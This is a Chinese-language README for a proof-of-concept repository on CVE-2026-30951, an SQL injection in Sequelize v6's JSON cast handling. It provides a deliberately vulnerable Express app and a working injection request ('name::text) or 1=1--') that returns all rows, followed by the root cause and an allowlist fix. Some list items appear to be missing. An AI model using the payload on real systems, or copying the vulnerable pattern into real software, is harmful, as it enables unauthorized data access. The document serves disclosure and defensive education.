★ CVE-2026-30951 Sequelize ORM SQL 注入 PoC ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
CVE-2026-30951 是 Sequelize v6 中的一个 SQL 注入 漏洞,Sequelize v6 是一个广泛使用的 Node.js ORM。
该漏洞存在于 JSON/JSONB
where子句处理过程中。当 Sequelize 解析包含::的 JSON 路径键时,::之后的值会被当作 SQL cast 类型处理,并在未经适当验证的情况下被插入到生成的 SQL 中。如果攻击者能够控制传入 Sequelize
where子句的 JSON 对象键,就可以操纵生成的 SQL 查询。
| 类别 | 版本 |
|---|---|
| 受影响 | Sequelize v6.x <= 6.37.7 |
| 已修复 | Sequelize 6.37.8 |
| 不受影响 | Sequelize v7 / @sequelize/core |
本仓库包含一个最小化的存在漏洞的 Node.js、Express、Sequelize 和 SQLite 挑战应用。
npm install
npm start
应用启动于:
http://127.0.0.1:9100
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
Docker 容器启动于:
http://127.0.0.1:9100
启动存在漏洞的环境后,按照以下步骤复现注入。
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
这只会返回符合正常名称搜索逻辑的用户。
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
预期结果:
返回所有用户行。
构造的 JSON 键会导致 Sequelize 生成类似以下的 cast 表达式:
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
由于 cast 类型由攻击者控制,OR 1=1 条件改变了原本预期的 WHERE 子句行为。从同一搜索端点返回所有行,确认了 SQL 注入是可能的。
该漏洞是由 Sequelize v6 中对 JSON cast 类型验证不足导致的。
在内部,Sequelize 的 JSON 遍历逻辑会按 :: 拆分 JSON 路径键:
jsonKey::castType
然后 cast 类型会被用于生成的 SQL 中,例如:
CAST(<json_extract_expression> AS <cast_type>)
在受影响版本中,<cast_type> 没有被安全转义,也没有被限制在已知安全的允许列表中。这使得攻击者控制的 JSON 键能够突破 cast 表达式并注入 SQL。
在使用受影响 Sequelize 版本时,任何类似以下模式的应用都可能存在漏洞:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
这很危险,因为攻击者不仅控制 JSON 值,还控制 JSON 对象键。
该漏洞尤其危险,因为许多开发者认为 ORM 查询构建器会自动防止 SQL 注入。在这种情况下,注入发生在 ORM 生成的 SQL 内部,而此时应用已经将结构化 JavaScript 对象传递给了 Sequelize。
根据应用逻辑的不同,利用该漏洞可能允许:
这从根本上是一个 CWE-89:SQL 命令中使用的特殊元素的不当中和 问题。
+-------------------------------------------+
| 攻击者 |
+-------------------------------------------+
|
| 发送带有恶意 name:: 键的
| 构造 JSON 过滤器
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize JSON where 子句
| 处理包含 :: 的键
v
+-------------------------------------------+
| 未转义的 SQL cast 类型注入 |
+-------------------------------------------+
|
| 布尔条件操纵
v
+-------------------------------------------+
| 确认 SQL 注入成功 |
+-------------------------------------------+
where 子句::)的 JSON 键const allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
本仓库仅用于安全研究、防御性验证以及在受控环境中的教育用途。
不要对您不拥有或没有明确测试许可的系统使用此 PoC。
我们每月发布一次 CVE 和恶意软件分析。如果您感兴趣,请通过以下链接查看我们的出版物。